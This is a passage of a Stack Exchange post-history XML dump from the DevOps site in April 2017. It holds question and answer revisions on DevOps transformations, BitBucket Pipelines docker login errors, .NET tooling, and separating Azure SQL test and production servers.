used tied together at a high level.  Without an operating model, you have no blueprint for the way the organisation adopt the practices that the culture defines, this, in turn, leads to a lack of clarity and divergent behaviours.&#xD;&#xA;&#xD;&#xA; - **C-Level Aircover**: It is often our job as consultants working within transformation programmes to make radical changes to the way business works.  You are going to upset people, and some people won't like the changes - it is important that you have &quot;air cover&quot; from above to change things and move forwards.&#xD;&#xA;&#xD;&#xA;Once the high level is in place it is important to find something you can realistically deliver:&#xD;&#xA;&#xD;&#xA; 1. Start as small as possible, ideally, once you have some people who understand the culture, a sketch of an operating model and buy-in from the executives create the &quot;Minimum Viable Project&quot;, don't attempt to boil the ocean by introducing DevOps to an audience of thousands.  Set an achievable goal:&#xD;&#xA;   - Automate the creation of the infrastructure from Product X.&#xD;&#xA;   - Automate the delivery of Product X into Azure across all environments.&#xD;&#xA;   - Hand-back support from outsourcer Y to a development team in London.&#xD;&#xA;   - Create a set of tests around our riskiest feature and run them in continuous integration.&#xD;&#xA; 2. Great you have some success under your belt now it is time to start baking this into more teams, add another couple of teams into the mix and get them up and running.  Don't be afraid to offer &quot;White Glove Support&quot; at first to assist them in the transition; they will need a lot of hand-holding over the coming weeks and months.&#xD;&#xA; 3. Now you have several early adopters following a new way of working; you have some critical mass, it is time to start evangelising the work you are doing with a wider audience:&#xD;&#xA;    - Hold regular **show-and-tell** sessions ask the early adopters to demonstrate how successful they have been.&#xD;&#xA;    - Offer **drop-in sessions** to allow other parts of the organisation to explore how they can come on board with your team.&#xD;&#xA;    - Enable the creation of [**Communities of Practice**][5] focusing on specific disciplines: Continuous Deployment, Automated Testing, Business Communication, Risk Management, Monitoring and Alerting, etc.&#xD;&#xA; 4. Stay the course and close off the transformation by onboarding the rest of the organisation.  Understand the relationship between the [Gartner Hype Cycle][6] and the [Adoption Lifecycle][7].  Prepare for the Transformation Programme to fall into the &quot;Trough of Disillusionment&quot;, stay the course and keep the end goal in sight.&#xD;&#xA;&#xD;&#xA;  [![Gartner Hype Cycle vs. Adoption Curve][8]][8]&#xD;&#xA;&#xD;&#xA;For a deeper exploration of the final point read Geoffrey A. Moore's [Crossing the Chasam][9].  I could quite literally write a book about how to deliver a DevOps transformation, however by the time I had finished it there would probably be no more DevOps transformation work for me to do.&#xD;&#xA;&#xD;&#xA;  [1]: http://itrevolution.com/the-three-ways-principles-underpinning-devops/&#xD;&#xA;  [2]: https://i.stack.imgur.com/8ovVm.png&#xD;&#xA;  [3]: http://devops.stackexchange.com/a/46/397&#xD;&#xA;  [4]: https://www.amazon.co.uk/Site-Reliability-Engineering-Production-Systems/dp/149192912X&#xD;&#xA;  [5]: http://wenger-trayner.com/introduction-to-communities-of-practice/&#xD;&#xA;  [6]: http://www.gartner.com/technology/research/methodologies/hype-cycle.jsp&#xD;&#xA;  [7]: https://ondigitalmarketing.com/learn/odm/foundations/5-customer-segments-technology-adoption/&#xD;&#xA;  [8]: https://i.stack.imgur.com/p2UKT.png&#xD;&#xA;  [9]: https://www.amazon.com/Crossing-Chasm-3rd-Disruptive-Mainstream/dp/0062292986" ContentLicense="CC BY-SA 3.0" />
  <row Id="2470" PostHistoryTypeId="5" PostId="416" RevisionGUID="969bcb83-3b63-45cc-88ca-b451e9926d8c" CreationDate="2017-04-05T10:01:18.203" UserId="13" Comment="edited body" Text="Probably not exactly an answer, but worth giving the alternatives.&#xD;&#xA;&#xD;&#xA;Chef's [**habitat**](https://www.habitat.sh) has been created with this in mind, creating a package with all needed dependencies without the extraneous distro/base image load you don't wish.&#xD;&#xA;&#xD;&#xA;Extracts on what matters here, the container size from [**this blog post**](https://blog.chef.io/2016/11/28/why-habitat-plans-and-packages-part-2/) with a simple nodejs app:&#xD;&#xA;&#xD;&#xA;&gt;     michael@ricardo-2:plans_pkg_part_2$ docker images&#xD;&#xA;&gt;     REPOSITORY           TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;&gt;     mfdii/node-example   latest              36c6568c606b        40 minutes ago      655.9 MB&#xD;&#xA;&gt;     node                 latest              04c0ca2a8dad        16 hours ago        654.6 MB&#xD;&#xA;&gt;     mfdii/mytutorialapp  latest              534afd80d74d        2 minutes ago       182.1 MB&#xD;&#xA;&#xD;&#xA;`mdfii/node-example` is a docker image from a classic dockerfile while `mfdii/mytutorialapp` is the docker image produced with habitat.&#xD;&#xA;&#xD;&#xA;If size is your main concern and you're up to take the learning curve of Habitat plans, this could be a solution for you." ContentLicense="CC BY-SA 3.0" />
  <row Id="2472" PostHistoryTypeId="2" PostId="781" RevisionGUID="75960689-fa39-4839-99f3-2145368a9b59" CreationDate="2017-04-05T13:32:52.493" UserId="210" Text="**Aim**&#xD;&#xA;&#xD;&#xA;to login to a private docker registry using BitBucket pipelines.&#xD;&#xA;&#xD;&#xA;**Attempt**&#xD;&#xA;&#xD;&#xA;Based on [this][1] documentation the following bitbucket-pipelines.yml:&#xD;&#xA;&#xD;&#xA;    image: docker:latest&#xD;&#xA;    &#xD;&#xA;    pipelines:&#xD;&#xA;      default:&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - docker login -u $D_REGISTRY_USER -p $D_REGISTRY_PASS $D_REGISTRY_URL&#xD;&#xA;    &#xD;&#xA;    options:&#xD;&#xA;      docker: true&#xD;&#xA;&#xD;&#xA;was created. When BitBucket pipelines run this it results in:&#xD;&#xA;&#xD;&#xA;    + docker login -u $DOCKER_REGISTRY_USERNAME -p $DOCKER_REGISTRY_PASSWORD &#xD;&#xA;    $DOCKER_REGISTRY_URL&#xD;&#xA;    Warning: failed to get default registry endpoint from daemon &#xD;&#xA;    (Error response from daemon: authorization denied by plugin pipelines: Command &#xD;&#xA;    not supported.). &#xD;&#xA;    Using system default: https://index.docker.io/v1/&#xD;&#xA;    Error response from daemon: authorization denied by plugin pipelines: Command &#xD;&#xA;    not supported.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/bitbucket/running-docker-commands-in-bitbucket-pipelines-879254331.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2473" PostHistoryTypeId="1" PostId="781" RevisionGUID="75960689-fa39-4839-99f3-2145368a9b59" CreationDate="2017-04-05T13:32:52.493" UserId="210" Text="Why does `docker-login` fail in BitBucket pipelines?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2474" PostHistoryTypeId="3" PostId="781" RevisionGUID="75960689-fa39-4839-99f3-2145368a9b59" CreationDate="2017-04-05T13:32:52.493" UserId="210" Text="&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2475" PostHistoryTypeId="5" PostId="781" RevisionGUID="3b6d0a28-d45b-4ee3-bbfe-b26ff28b87ec" CreationDate="2017-04-05T13:34:19.757" UserId="46" Comment="deleted 1 character in body; edited tags" Text="**Aim**&#xD;&#xA;&#xD;&#xA;to login to a private docker registry using BitBucket pipelines.&#xD;&#xA;&#xD;&#xA;**Attempt**&#xD;&#xA;&#xD;&#xA;Based on [this][1] documentation the following bitbucket-pipelines.yml:&#xD;&#xA;&#xD;&#xA;    image: docker:latest&#xD;&#xA;    &#xD;&#xA;    pipelines:&#xD;&#xA;      default:&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - docker login -u $D_REGISTRY_USER -p $D_REGISTRY_PASS $D_REGISTRY_URL&#xD;&#xA;    &#xD;&#xA;    options:&#xD;&#xA;      docker: true&#xD;&#xA;&#xD;&#xA;was created. When BitBucket pipelines run this it results in:&#xD;&#xA;&#xD;&#xA;    + docker login -u $DOCKER_REGISTRY_USERNAME -p $DOCKER_REGISTRY_PASSWORD &#xD;&#xA;    $DOCKER_REGISTRY_URL&#xD;&#xA;    Warning: failed to get default registry endpoint from daemon &#xD;&#xA;    (Error response from daemon: authorization denied by plugin pipelines: Command &#xD;&#xA;    not supported.). &#xD;&#xA;    Using system default: https://index.docker.io/v1/&#xD;&#xA;    Error response from daemon: authorization denied by plugin pipelines: Command &#xD;&#xA;    not supported.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/bitbucket/running-docker-commands-in-bitbucket-pipelines-879254331.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2476" PostHistoryTypeId="6" PostId="781" RevisionGUID="3b6d0a28-d45b-4ee3-bbfe-b26ff28b87ec" CreationDate="2017-04-05T13:34:19.757" UserId="46" Comment="deleted 1 character in body; edited tags" Text="&lt;docker&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2477" PostHistoryTypeId="2" PostId="782" RevisionGUID="352d7019-1176-4c9a-a7da-cae94fe50ea6" CreationDate="2017-04-05T13:41:00.937" UserId="502" Text="I am aware of the defator and popular tool choices for various programming languages such as Go, NodeJS, Java, Python etc.&#xD;&#xA;However, I do not know what toolchain are reasonable or even (hot) in the .NET world.&#xD;&#xA;I have heard that people use Octapus deploy, is this still a valid choice?&#xD;&#xA;Is NuGet still the defacto package manager?&#xD;&#xA;What about code inspection, automatic QA etc.?&#xD;&#xA;&#xD;&#xA;I will like to get a feeling of the complete toolchain for .net and what is popular right now when considering development, automatic test, and delivery." ContentLicense="CC BY-SA 3.0" />
  <row Id="2478" PostHistoryTypeId="1" PostId="782" RevisionGUID="352d7019-1176-4c9a-a7da-cae94fe50ea6" CreationDate="2017-04-05T13:41:00.937" UserId="502" Text="Automation and the .NET framework which tools to use?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2479" PostHistoryTypeId="3" PostId="782" RevisionGUID="352d7019-1176-4c9a-a7da-cae94fe50ea6" CreationDate="2017-04-05T13:41:00.937" UserId="502" Text="&lt;automation&gt;&lt;toolchain&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2480" PostHistoryTypeId="5" PostId="782" RevisionGUID="2429d566-05b5-48b8-9f52-1c75e2fc4545" CreationDate="2017-04-05T13:42:41.640" UserId="46" Comment="added 1 character in body; edited tags" Text="I am aware of the de facto and popular tool choices for various programming languages such as Go, NodeJS, Java, Python etc.&#xD;&#xA;However, I do not know what toolchain are reasonable or even (hot) in the .NET world.&#xD;&#xA;I have heard that people use Octapus deploy, is this still a valid choice?&#xD;&#xA;Is NuGet still the defacto package manager?&#xD;&#xA;What about code inspection, automatic QA etc.?&#xD;&#xA;&#xD;&#xA;I will like to get a feeling of the complete toolchain for .net and what is popular right now when considering development, automatic test, and delivery." ContentLicense="CC BY-SA 3.0" />
  <row Id="2481" PostHistoryTypeId="6" PostId="782" RevisionGUID="2429d566-05b5-48b8-9f52-1c75e2fc4545" CreationDate="2017-04-05T13:42:41.640" UserId="46" Comment="added 1 character in body; edited tags" Text="&lt;automation&gt;&lt;toolchain&gt;&lt;dotnet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2482" PostHistoryTypeId="2" PostId="783" RevisionGUID="2ba91c4f-19b0-4a05-a3ce-2c826c7404d4" CreationDate="2017-04-05T13:43:46.417" UserId="6" Text="At the moment the `docker login` and `docker push` commands are only available to Pipelines Alpha members.&#xD;&#xA;&#xD;&#xA;You can read about the features available to Alpha here - https://confluence.atlassian.com/bitbucket/pipelines-alpha-877358733.html&#xD;&#xA;&#xD;&#xA;In order to participate, the above link includes instructions on how you can opt-in to the added functionality.&#xD;&#xA;&#xD;&#xA;Personally I received an e-mail from Atlassian a day after the e-mail saying my projects now include Alpha features. So this feature works in my pipelines without any issues." ContentLicense="CC BY-SA 3.0" />
  <row Id="2483" PostHistoryTypeId="5" PostId="777" RevisionGUID="3a367199-e312-4491-936f-d9535f9cc988" CreationDate="2017-04-05T13:46:36.333" UserId="6" Comment="fix typo with Crossing the Chasm book title" Text="I need to put my answer to this question in the context of what DevOps is, more specifically within the DevOps transformations I have been part of, DevOps is the ownership of the full Software Development Lifecycle. All of the practices in the chart are an important part of DevOps, and they enable and underpin both [Systems Thinking][1] and [Amplification of Feedback Loops][1].&#xD;&#xA;&#xD;&#xA;However, the key differentiator between CI/CD and DevOps is the actual operation of software in a production environment, where it can deliver value to its customers and the business it serves.  &#xD;&#xA;&#xD;&#xA;[![DevOps Lifecycle][2]][2]&#xD;&#xA;&#xD;&#xA;As a consultant participating in or leading a DevOps transformation I have the following aspects in the front of my mind:&#xD;&#xA;&#xD;&#xA; - **Culture**: As [Dave quite rightly pointed out][3] a [Culture of Continuous Experimentation and Learning][1] is critical to the success of any transformation.  From a DevOps perspective this comes down to how do we engender a culture that is supportive of the chosen DevOps model, this model could be &quot;You Build It, You Run It&quot; or it could be more along the lines of Google's [Site Reliability Engineering][4] practice.&#xD;&#xA;&#xD;&#xA; - **Operating Model**: This is the part of the business proposition that articulates how the organisation will be delivering value, generally by articulating the People, Process and Tools used tied together at a high level.  Without an operating model, you have no blueprint for the way the organisation adopt the practices that the culture defines, this, in turn, leads to a lack of clarity and divergent behaviours.&#xD;&#xA;&#xD;&#xA; - **C-Level Aircover**: It is often our job as consultants working within transformation programmes to make radical changes to the way business works.  You are going to upset people, and some people won't like the changes - it is important that you have &quot;air cover&quot; from above to change things and move forwards.&#xD;&#xA;&#xD;&#xA;Once the high level is in place it is important to find something you can realistically deliver:&#xD;&#xA;&#xD;&#xA; 1. Start as small as possible, ideally, once you have some people who understand the culture, a sketch of an operating model and buy-in from the executives create the &quot;Minimum Viable Project&quot;, don't attempt to boil the ocean by introducing DevOps to an audience of thousands.  Set an achievable goal:&#xD;&#xA;   - Automate the creation of the infrastructure from Product X.&#xD;&#xA;   - Automate the delivery of Product X into Azure across all environments.&#xD;&#xA;   - Hand-back support from outsourcer Y to a development team in London.&#xD;&#xA;   - Create a set of tests around our riskiest feature and run them in continuous integration.&#xD;&#xA; 2. Great you have some success under your belt now it is time to start baking this into more teams, add another couple of teams into the mix and get them up and running.  Don't be afraid to offer &quot;White Glove Support&quot; at first to assist them in the transition; they will need a lot of hand-holding over the coming weeks and months.&#xD;&#xA; 3. Now you have several early adopters following a new way of working; you have some critical mass, it is time to start evangelising the work you are doing with a wider audience:&#xD;&#xA;    - Hold regular **show-and-tell** sessions ask the early adopters to demonstrate how successful they have been.&#xD;&#xA;    - Offer **drop-in sessions** to allow other parts of the organisation to explore how they can come on board with your team.&#xD;&#xA;    - Enable the creation of [**Communities of Practice**][5] focusing on specific disciplines: Continuous Deployment, Automated Testing, Business Communication, Risk Management, Monitoring and Alerting, etc.&#xD;&#xA; 4. Stay the course and close off the transformation by onboarding the rest of the organisation.  Understand the relationship between the [Gartner Hype Cycle][6] and the [Adoption Lifecycle][7].  Prepare for the Transformation Programme to fall into the &quot;Trough of Disillusionment&quot;, stay the course and keep the end goal in sight.&#xD;&#xA;&#xD;&#xA;  [![Gartner Hype Cycle vs. Adoption Curve][8]][8]&#xD;&#xA;&#xD;&#xA;For a deeper exploration of the final point read Geoffrey A. Moore's [Crossing the Chasm][9]. I could quite literally write a book about how to deliver a DevOps transformation, however by the time I had finished it there would probably be no more DevOps transformation work for me to do.&#xD;&#xA;&#xD;&#xA;  [1]: http://itrevolution.com/the-three-ways-principles-underpinning-devops/&#xD;&#xA;  [2]: https://i.stack.imgur.com/8ovVm.png&#xD;&#xA;  [3]: http://devops.stackexchange.com/a/46/397&#xD;&#xA;  [4]: https://www.amazon.co.uk/Site-Reliability-Engineering-Production-Systems/dp/149192912X&#xD;&#xA;  [5]: http://wenger-trayner.com/introduction-to-communities-of-practice/&#xD;&#xA;  [6]: http://www.gartner.com/technology/research/methodologies/hype-cycle.jsp&#xD;&#xA;  [7]: https://ondigitalmarketing.com/learn/odm/foundations/5-customer-segments-technology-adoption/&#xD;&#xA;  [8]: https://i.stack.imgur.com/p2UKT.png&#xD;&#xA;  [9]: https://www.amazon.com/Crossing-Chasm-3rd-Disruptive-Mainstream/dp/0062292986" ContentLicense="CC BY-SA 3.0" />
  <row Id="2484" PostHistoryTypeId="5" PostId="783" RevisionGUID="9e14eec2-1878-403f-9619-109fb5f5036c" CreationDate="2017-04-05T13:51:02.420" UserId="6" Comment="edited body" Text="At the moment the `docker login` and `docker push` commands are only available to Pipelines Alpha members.&#xD;&#xA;&#xD;&#xA;You can read about the features available to Alpha here - https://confluence.atlassian.com/bitbucket/pipelines-alpha-877358733.html&#xD;&#xA;&#xD;&#xA;In order to participate, the above link includes instructions on how you can opt-in to the added functionality.&#xD;&#xA;&#xD;&#xA;Personally I received an e-mail from Atlassian a day after signing up saying my projects now include Alpha features. So this feature works in my pipelines without any issues." ContentLicense="CC BY-SA 3.0" />
  <row Id="2485" PostHistoryTypeId="2" PostId="784" RevisionGUID="8bdf3760-3cbc-4e30-bc29-ef59e2ded672" CreationDate="2017-04-05T14:03:19.847" UserId="40" Text="It seems like ***forget*** in this context is not really what it sounds like. Instead it is rather something like &quot;*`Don't keep me waiting for the process to complete, so that I can do something else while the process is running. And when the process is done (succeeded or failed), we'll continue processing with whatever is next`*&quot;.&#xD;&#xA;&#xD;&#xA;An example '*for which using &quot;fire and forget&quot; in Jenkins does make sense*' (as in my question) is creating parallel chains to reduce the duration of  pipelines, and combine it with using the [Join plugin][1]. Some more details about this plugin (from the linked page):&#xD;&#xA;&#xD;&#xA;&gt; This plugin allows a job to be run after all the immediate downstream jobs have completed. In this way, the execution can branch out and perform many steps in parallel, and then run a final aggregation step just once after all the parallel work is finished.&#xD;&#xA;&#xD;&#xA;&gt; The plugin is useful for creating a 'diamond' shape project dependency.   This means there is a single parent job that starts several downstream jobs. Once those jobs are finished, a single aggregation job runs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.jenkins-ci.org/display/JENKINS/Join+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="2486" PostHistoryTypeId="2" PostId="785" RevisionGUID="d549a39e-2055-4ea9-9a7a-446a4aeb7470" CreationDate="2017-04-05T14:06:44.237" UserId="1096" Text="You mention a few different categories in your toolchain for .NET. Yes, NuGet is still the default package style – and a lot of people use a [Universal Package Manager](https://en.wikipedia.org/wiki/Binary_repository_manager) to manage their NuGet feeds. &#xD;&#xA;&#xD;&#xA;For Deployment, Octopus is indeed an option for pushing out artifacts, but it doesn’t enable some of the other aspects you were talking about. &#xD;&#xA;&#xD;&#xA;An [ARA tool](https://en.wikipedia.org/wiki/Application_release_automation) would probably be a better fit it does more than just Deployment automation and ARA tools are more &quot;Hot&quot; in the DevOps world right now - especially with evolving things like WinOps.&#xD;&#xA;&#xD;&#xA;As far as other tools, take a look at the [DevOps toolchain](https://en.wikipedia.org/wiki/DevOps_toolchain) wiki page and the [WinOps focused tools](https://en.wikipedia.org/wiki/WinOps#WinOps_focused_tools) section. &#xD;&#xA;&#xD;&#xA;*Full disclosure I work at [Inedo](http://inedo.com), and we make a solution for both of these options (with .NET in mind)" ContentLicense="CC BY-SA 3.0" />
  <row Id="2487" PostHistoryTypeId="5" PostId="782" RevisionGUID="65ee8b09-7be0-49d3-be55-1ee4804442f5" CreationDate="2017-04-05T14:15:43.707" UserId="502" Comment="deleted 1 character in body" Text="I am aware of the de facto and popular tool choices for various programming languages such as Go, NodeJS, Java, Python etc.&#xD;&#xA;However, I do not know what toolchain is reasonable or even (hot) in the .NET world.&#xD;&#xA;I have heard that people use Octapus deploy, is this still a valid choice?&#xD;&#xA;Is NuGet still the defacto package manager?&#xD;&#xA;What about code inspection, automatic QA etc.?&#xD;&#xA;&#xD;&#xA;I would like to get a feeling of the complete toolchain for .NET and what is popular right now when considering development, automatic test, and delivery." ContentLicense="CC BY-SA 3.0" />
  <row Id="2488" PostHistoryTypeId="2" PostId="786" RevisionGUID="279a9aad-414e-40e3-aca8-4dc2d49f1096" CreationDate="2017-04-05T14:46:58.780" UserId="1096" Text="There are enterprise tools that manage these opensource dependencies namely [Jfrog Artifactory](https://www.jfrog.com/artifactory/) with the Xray feature and [Inedo ProGet](http://inedo.com/proget) with features for license filtering and vulnerability scanning. &#xD;&#xA;&#xD;&#xA;Basically, allows you to restrict or permit download of package so companies can set policies to ensure development isn't breaking rights of use or building application with vulnerable components. These tools also have local caching features so that if a dependency gets removed or edited  (think [left-pad](http://www.theregister.co.uk/2016/03/23/npm_left_pad_chaos/)) then development isn't impacted. &#xD;&#xA;&#xD;&#xA;__&#xD;&#xA;&#xD;&#xA;Disclaimer, my day job is at Inedo :)" ContentLicense="CC BY-SA 3.0" />
  <row Id="2489" PostHistoryTypeId="2" PostId="787" RevisionGUID="81634476-abcb-44ea-b483-bc689669c4c0" CreationDate="2017-04-05T16:38:17.927" UserId="1160" Text="I'm new to SQL Server, so this may be more of a SQL Server management question. I'm creating test and production databases for a service, and I imagine I'll be wiping the test database quite a lot. Additionally, I'm going to want different replication and audit logging strategies. Does it make sense to have both SQL Databases on the same SQL Server, which seems to be what the Azure Portal makes easiest to manage, or does it make more sense to create a separate logical SQL Server for the test and production databases?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2490" PostHistoryTypeId="1" PostId="787" RevisionGUID="81634476-abcb-44ea-b483-bc689669c4c0" CreationDate="2017-04-05T16:38:17.927" UserId="1160" Text="Azure - separate SQL Server or just separate SQL Database for test and production?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2491" PostHistoryTypeId="3" PostId="787" RevisionGUID="81634476-abcb-44ea-b483-bc689669c4c0" CreationDate="2017-04-05T16:38:17.927" UserId="1160" Text="&lt;sql&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2492" PostHistoryTypeId="6" PostId="787" RevisionGUID="e946f950-4676-4aee-b565-e837dd392897" CreationDate="2017-04-05T17:15:59.177" UserId="46" Comment="edited tags" Text="&lt;sql&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2493" PostHistoryTypeId="5" PostId="787" RevisionGUID="e946f950-4676-4aee-b565-e837dd392897" CreationDate="2017-04-05T17:15:59.177" UserId="46" Comment="edited tags" Text="I'm new to SQL Server, so this may be more of a SQL Server management question. &#xD;&#xA;&#xD;&#xA;I'm creating test and production databases for a service, and I imagine I'll be wiping the test database quite a lot. Additionally, I'm going to want different replication and audit logging strategies. &#xD;&#xA;&#xD;&#xA;Does it make sense to have both SQL Databases on the same SQL Server, which seems to be what the Azure Portal makes easiest to manage, or does it make more sense to create a separate logical SQL Server for the test and production databases?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2494" PostHistoryTypeId="2" PostId="788" RevisionGUID="b038b458-2fb6-4dea-a8ce-5f49e21ee1ac" CreationDate="2017-04-05T17:26:00.590" UserId="40" Text="With my SCM background (for quite some time, in good-old-mainframe-land), I thought I knew what DevOps actually means, and what it is about.&#xD;&#xA;&#xD;&#xA;However, have a look at these quotes from some of the questions on [DevOps.SE][1]:&#xD;&#xA;&#xD;&#xA;- From 'http://devops.stackexchange.com/q/86/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... DevOps is about maintaining code ...&#xD;&#xA;&#xD;&#xA;  That sounds like DevOps ***is related to [tag:SCM]***.&#xD;&#xA;&#xD;&#xA;- From 'http://devops.stackexchange.com/q/157/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... When applying for a job, usually you can find two types of similar jobs: [Sysadmin Engineer][2] and [DevOps Engineer][3].&#xD;&#xA;&#xD;&#xA;  That sounds like DevOps ***is a role***.&#xD;&#xA;&#xD;&#xA;- From (an [answer][4] to) 'http://devops.stackexchange.com/q/468/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... It is a common misbelief that “DevOps” is a role in a company. The word merely denotes an organisational shift in software companies ...&#xD;&#xA;&#xD;&#xA;  That sounds like DevOps ***is something organisational***.&#xD;&#xA;&#xD;&#xA;- From 'http://devops.stackexchange.com/q/333/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... there are still organisations which are not practicing Agile in their software development, who might be interested in adopting DevOps ...&#xD;&#xA;&#xD;&#xA;  That sounds like DevOps ***is related to the Agile software development methodology***.&#xD;&#xA;&#xD;&#xA;So if you would get a few seconds to explain what you think DevOps really is about, how would you describe it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/&#xD;&#xA;  [2]: http://stackoverflow.com/jobs?sort=i&amp;q=SysAdmin&#xD;&#xA;  [3]: http://stackoverflow.com/jobs?sort=i&amp;q=DevOps&#xD;&#xA;  [4]: http://devops.stackexchange.com/a/474/40" ContentLicense="CC BY-SA 3.0" />
  <row Id="2495" PostHistoryTypeId="1" PostId="788" RevisionGUID="b038b458-2fb6-4dea-a8ce-5f49e21ee1ac" CreationDate="2017-04-05T17:26:00.590" UserId="40" Text="What is DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2496" PostHistoryTypeId="3" PostId="788" RevisionGUID="b038b458-2fb6-4dea-a8ce-5f49e21ee1ac" CreationDate="2017-04-05T17:26:00.590" UserId="40" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2497" PostHistoryTypeId="6" PostId="788" RevisionGUID="4672a923-9cb9-44af-8798-e2894343d9a7" CreationDate="2017-04-05T17:30:56.177" UserId="47" Comment="edited tags" Text="&lt;terminology&gt;&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2498" PostHistoryTypeId="2" PostId="789" RevisionGUID="6edacf92-81d8-46d0-8cec-84537dd019b1" CreationDate="2017-04-05T17:49:28.473" UserId="1161" Text="Devops is the development practice of writing applications whose **business domain** is operations." ContentLicense="CC BY-SA 3.0" />
  <row Id="2499" PostHistoryTypeId="5" PostId="789" RevisionGUID="975872a6-bcb4-42c5-ab84-a297828e8075" CreationDate="2017-04-05T18:18:30.417" UserId="1161" Comment="Expanded answer" Text="Devops is the development practice of writing applications whose **business domain** is operations. Where most application development focuses on building applications which do finance or health care or logistics or cat videos, devops focuses on applications which enable builds, deployments, monitoring, and metrics gathering.&#xD;&#xA;&#xD;&#xA;The overriding goal should always be to enable *decision-makers* to become *decision-takers*. Imagine your bank's mobile application. When you request a transfer, it happens when you hit the button. You *made* a decision, then **took** the decision. Same thing with your operations. When the appropriate person decides some work is ready to deploy to production, they should be able to hit a button and the &quot;Right Things Happen&quot;. Similarly, they should have all the necessary information they need to make correct business decisions.&#xD;&#xA;&#xD;&#xA;It's not about giving business people shell access to servers - that's confusing purpose with implementation. It's about providing the correct knobs and levers with the right information **and the right guard-rails** to the right people so that decision-makers are decision-takers." ContentLicense="CC BY-SA 3.0" />
  <row Id="2500" PostHistoryTypeId="12" PostId="788" RevisionGUID="e755cad0-7af4-4b75-9398-1d4103e4495b" CreationDate="2017-04-05T18:19:33.520" UserId="40" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="2501" PostHistoryTypeId="2" PostId="790" RevisionGUID="86882b02-8f32-4a46-889d-e38bd587307d" CreationDate="2017-04-05T18:41:54.540" UserId="960" Text="Putting them both on the same server is certainly the easiest. However, I'd argue in a business situation you shouldn't be *able* to do it.&#xA;&#xA;A production database is one of the most important resources of a web app. It likely has much confidential data in it. It's also probably critical to the site's stability. So the production database credentials should be tightly controlled, and firewall rules should prevent access to it except from a small number of vetted machines. In addition to security considerations, the firewall rules also help prevent accidental test operations on the production database - if it can happen, it will sooner or later." ContentLicense="CC BY-SA 3.0" />
  <row Id="2502" PostHistoryTypeId="2" PostId="791" RevisionGUID="bda65fd1-28d3-4cbe-a579-dcd94a692300" CreationDate="2017-04-05T19:02:04.587" UserId="397" Text="Go with a separate logical server:&#xA;&#xA; - It is going to cost the same because you are charged on the **tier** of the database not the database server.&#xA; - By providing separate servers you provide **isolation** between the two databases protecting one from the other. &#xA; - Unless​ you use contained users your users will be **shared** between Test and Production, if you happen to use the same user for both databases a change of the password in production would also require the same change in Test.&#xA;&#xA;You might want to use the same server for a database if:&#xA;&#xA; - You are creating a very large number of Databases **across many Dev/Test** environments as there is a limit to the total number of SQL Servers. &#xA; - You have two databases that need to be deployed as part of the same ARM template." ContentLicense="CC BY-SA 3.0" />
  <row Id="2503" PostHistoryTypeId="2" PostId="792" RevisionGUID="da1127d5-e5c0-4da4-93c6-609c8f644b44" CreationDate="2017-04-05T19:57:27.463" UserId="1163" Text="Experience at my place has been using Octopus Deploy, Team City and Proget - had great success building a good pipeline and its scaling well. Also plays nicely with unit testing and automated functional test tools. We are predominantly in Azure on .Net but also deploying to private cloud and on premise" ContentLicense="CC BY-SA 3.0" />
  <row Id="2504" PostHistoryTypeId="5" PostId="479" RevisionGUID="d21d8907-9e33-4f47-a48d-312cae43f266" CreationDate="2017-04-05T20:15:07.073" UserId="14" Comment="Backticks are not for emphasis, only code; [environment-variables] is more specific than [variables]" Text="This is a very broad question about methods and advice regarding environment variables / structure. But ultimately I'm looking for answers for the very specific question of 'How should I store my environment variables?'&#xD;&#xA;&#xD;&#xA;Firstly some clarifications:&#xD;&#xA; &#xD;&#xA; - An environment to me can be from 3 to 10 servers and is a way of containing a specific customer's infrastructure.&#xD;&#xA; - Inside each environment there are a few variables which are mostly automatically generated from a few key inputs (name, size etc).&#xD;&#xA;&#xD;&#xA;As it stands right now we're storing all of our environment variables in a structure like so:&#xD;&#xA;&#xD;&#xA;    &lt;playbook&gt;.yml                   # Various playbooks for deployment&#xD;&#xA;    roles/windows                    # Ansible role for Ubuntu&#xD;&#xA;    roles/ubuntu                     # Ansible role for Ubuntu&#xD;&#xA;    config/hosts/&lt;name&gt;.yml          # Ansible inventory&#xD;&#xA;    config/hosts/vars/&lt;name&gt;.json    # Environment specific variables &#xD;&#xA;&#xD;&#xA;Right now the config is initialised as a submodule in the git repository above. As the variables file changes rather frequently this has caused issues with the data changing, once, twice or even three times between commits making changes increasingly difficult to trace.&#xD;&#xA;&#xD;&#xA;As I personally see it going forward we should be looking to store all our customer variables in a centralised / scalable way and then hook into it with a dynamic inventory with 